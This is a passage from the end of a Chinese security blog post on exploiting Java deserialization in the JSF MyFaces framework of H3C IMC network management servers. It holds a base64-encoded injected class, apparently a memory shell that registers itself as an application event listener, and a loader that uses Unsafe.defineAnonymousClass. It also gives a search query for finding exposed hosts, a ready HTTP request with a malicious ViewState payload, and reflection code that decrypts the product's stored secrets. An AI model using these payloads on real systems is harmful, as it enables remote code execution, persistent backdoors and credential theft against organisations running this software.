ZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAIwAjQoAQACOAQAOZ2V0Q2xhc3NMb2FkZXIMAJAAdwoAbACRDAAFAAYKAAIAkwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAlQEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAJcAmAoAlgCZAQALbmV3SW5zdGFuY2UMAJsAKgoAbACcDAAJAAYKAAIAngEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAKAAoQoAAgCiAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAKQApQoAAgCmAQALZGVmaW5lQ2xhc3MIAKgBAAJbQgcAqgEAEWphdmEvbGFuZy9JbnRlZ2VyBwCsAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7DACuAK8JAK0AsAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwAsgCzCgBsALQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHALYBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwAuAC5CgC3ALoBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwAvAC9CgCtAL4BAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAMAAwQoAtwDCAQAKaXNJbmplY3RlZAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWgwAxADFCgACAMYBABthZGRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXIIAMgBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAEMAygoAAgDLAQAcZ2V0QXBwbGljYXRpb25FdmVudExpc3RlbmVycwgAzQEAE1tMamF2YS9sYW5nL09iamVjdDsHAM8BABBqYXZhL3V0aWwvQXJyYXlzBwDRAQAGYXNMaXN0AQAlKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvdXRpbC9MaXN0OwwA0wDUCgDSANUBABkoTGphdmEvdXRpbC9Db2xsZWN0aW9uOylWDAAQANcKAD0A2AoAPQByAQAcc2V0QXBwbGljYXRpb25FdmVudExpc3RlbmVycwgA2wEAB3RvQXJyYXkBABUoKVtMamF2YS9sYW5nL09iamVjdDsMAN0A3goAPQDfAQAEc2l6ZQEAAygpSQwA4QDiCgA9AOMBABUoSSlMamF2YS9sYW5nL09iamVjdDsMAGQA5QoAPQDmAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAOgBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCADqAQAHZm9yTmFtZQwA7ACYCgBsAO0BAAxkZWNvZGVCdWZmZXIIAO8BAAlnZXRNZXRob2QMAPEAswoAbADyAQAQamF2YS51dGlsLkJhc2U2NAgA9AEACmdldERlY29kZXIIAPYBAAZkZWNvZGUIAPgBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcA+goA+wAXAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQcA/QEABShbQilWDAAQAP8KAP4BAAEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtBwECAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAQAQQKAQMBBQEABHJlYWQBAAUoW0IpSQwBBwEICgEDAQkBAAV3cml0ZQEAByhbQklJKVYMAQsBDAoA+wENAQALdG9CeXRlQXJyYXkBAAQoKVtCDAEPARAKAPsBEQEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMARMBFAoAAgEVAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHARcKARgAugoBGABlAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwEbAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGph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';var bt;try {bt = java.lang.Class.forName('sun.misc.BASE64Decoder').newInstance().decodeBuffer(s);} catch (e) {bt = java.util.Base64.getDecoder().decode(s);}var theUnsafeField = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');theUnsafeField.setAccessible(true);unsafe = theUnsafeField.get(null);unsafe.defineAnonymousClass(java.lang.Class.forName('java.lang.Class'), bt, null).newInstance();\")}";

app:”H3C IMC 智能管理中心平台”

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /imc/login.xhtml HTTP/1.1
Host: 172.16.4.1:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Via: dir
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2124

javax.faces.ViewState=8SzWaaoxnkq9php028NtXbT98DEcAUh57HB/L8xz6eq%2b4sy0rUOuOdM5ccd2J6LPx8c6%2b53QkrXjpFKgVnp07bad4n6CCBW8l98QIKwByAhLYdU2VpB/voaa2oU%2burahQDFE8mIaFvmwyKOHiwyovIHCVymqKwNdWXm3iHLhYEQXL4k3z7MWm%2bwbV2Dc9TXV4rs8E6M7ZvVM3B0pORK8vAhd2iLBkgFhGHw9ZgOwifGnyMzfxlUgG4chEOg57teuLurMPrulbEVBAEl7rRwobqvxb91sG%2bGMrGWFL5%2bwFvE56x7UEzHtE/o0IRtzTKi/EFnamrPT1046e7L8jABKDB/LjCX2qAOmqQkIz4gXrEFnHHYZ9LZc7t9ZZPNTJZjummuZuror/zwPbnsApwXlYsn2hDAZ7QlOBunA3t7omeOTI5keWXvmOH8eoEEN//SlmQblwhBZ7kSHPvStq0ZciiPptEzVjQ/k/gU2QbCSc7yG0MFbhcJEDQj4yKyJ/yTnOOmaKuNzZl%2bPpEua%2b28h2YCKipVb5S/wOCrg%2bKD3DUFCbdWHQRqDaZyvYsc8C0X7fzutiVUlSB7OdGoCjub9WuW0d2eeDWZmOt3Wunms3SwAbE7R%2bonCRVS8tiYWF8qiQS%2bl0k8Gw/Hz6Njpfe0upLIAtPFNDuSf69qGg4isEmY2FtoSQTdD8vU0BdJatHrBArPgo9Qsp0jSJBlUz2OqteQg05PYO6gEBXVj/RiTBHI1/pOzlcE0wVZcLUHnxGNvckSCTiTnWbkWGJ8AYCvrM0PHZ/BYcKKRf3rMHoIqcAN%2bORMhXcmAXRcvq29c5xqoOuvrMSJPDZmbZhcm/99crGJSO5HxXQder9WKm2tVBaDLEC9ulpWyICJYgfxayoWkt6vwPcq2Tn20vn5RDpfqJKLNLbrV8g7JDRUUyW%2bR6PRNunKhfJHvHcXAZ73mkCUf7cMUbNhqCbLSGP/D%2bqpqWXk5ZWjsT4tQ9tFH9uvPIaNB7FlcFXI2I2A9oPoY0ltif%2bb8BdPXVfpuZq8boHE4hY%2b33BIl%2bIa%2bov6nyMmGIzCKYeRbfDJtk/45EXvink6BIgA/205la6vvqKTGQ32o1AtepBgKei604cVvbEP7UKor09Gz61mryE4D%2biXG1prZGCT3LEtdASuCkmf4RTEc5wks2In3ElZSZl8zf3RsHA0dgbvrpnXe2wLPI%2bUCAGO%2biOG9/%2bbCQJQNFmykkyRbmslfcilUxZ%2bIg%2bQuOs9FlMod2ICrkktOFFeZWNeznx737S8H4Nf2%2bp2QNHY2I6GFGtWpqjeZ%2bGmb1euM5Tzi06eJkoPrjkDT9VPoxCgpRMQl06x7NShkos7BCI9fV1%2b17t5gWZvqAYzeQUsZLaiBXaZfuUtPuBmbq1re/dB/VgSOn4QX%2b8AwwDjtfazsHw4aIdh4e2a1y/Ou2ZiI//EzkwIBksY6CluuPgocdvtOfNiWcXsfYs3UKLmL/48A4Ls0OF1TrQK4UnfCYt1DGrwzfXnM9vLHznFaJenqvLY3yTiKN5SSVxvGwvhmp6PFW4Jj7G8NXdr/zN7HyC9Eg1Y1jKP7uiO%2bGM2U/etvMOCKwnfP2MnbznP378fZHf1H9yiVVrn%2bm%2b0u8PV2MsOTgS6B7C8ItflgSfJz5dkJ8IssRAcY%2bu/2QjrW95BBMSRPu2EaCUm1IpuszXEwHYgDizWPzDB0hSRgCEjncpGhPX3i10bK4/snBaBcAxAa1e2er2LDe/4WgaIwc9w2wKn3wXY5B87BKF5/Xq30NNf6EMRrQ9154rEkCJb4IU4sFsTuyYlfZatlV%2bC2HM7u7FEbdVvr6yYK4oQqvfPmF5yRplwAYUQAvr1jwLbGYxhGaTy14UUrtvoyph5Sqebk2YTKjKX4U7xX5ha4YbyoVIMSRzdvB6YXDY3BId%2bgmMWZtTf2UE%2b9UAx/7g30pQNXAFP1adq6ySd4x3dGVCe4YJcYe2gKWYVcWj5XPwUSt2fxdshzgFnjjqmRgxowH2u2nZU0xG539lnxIOlB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import java.lang.reflect.Method;

public class CustomClassName {
public CustomClassName() {}

String run() {
String className = "com.h3c.imc.byod.common.FuncUtil";
String decryptMethodName = "decryptData";
String encryptedData = "qJkMTNQwle2SSSLUwURNjA==";
StringBuilder result = new StringBuilder();
result.append("Reflection Decryption Test\n\n");
result.append("Target Class : ").append(className).append("\n");
result.append("Target Method : ").append(decryptMethodName).append("\n");
result.append("Encrypted Data : ").append(encryptedData).append("\n\n");
result.append("--------------------------------------------------\n");

try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Class<?> funcUtilClass = classLoader.loadClass(className);

// 2. 获取目标解密方法
Method decryptMethod = funcUtilClass.getMethod(decryptMethodName, String.class);

// 3. 调用解密方法
// 同样,假设是静态方法,所以第一个参数是 null
Object decryptedResult = decryptMethod.invoke(null, encryptedData);

result.append("Decryption Successful!\n\n");
result.append("Decrypted Result (Plaintext) : ").append(decryptedResult.toString()).append("\n");

} catch (Exception e) {
// 如果出错,返回一个简洁的错误信息,因为你不需要详细的堆栈了
result.append("[ERROR] Decryption failed.\n\n");
result.append("Error Type: ").append(e.getClass().getName()).append("\n");

// 特别是 InvocationTargetException,它表示解密方法内部出错了
// (例如:密文格式错误、密钥不匹配等)
if (e instanceof java.lang.reflect.InvocationTargetException) {
Throwable cause = e.getCause();
result.append("Cause: ").append(cause.toString());
} else {
result.append("Message: ").append(e.getMessage());
}
}

result.append("\n--------------------------------------------------");
return result.toString();
}

public String toString() {
return run();
}
}

JSf框架(myfaces) 反序列化探索
https://unam4.github.io/2025/12/01/JSf框架-myfaces-反序列化探索/
作者
unam4
发布于
2025年12月1日
许可协议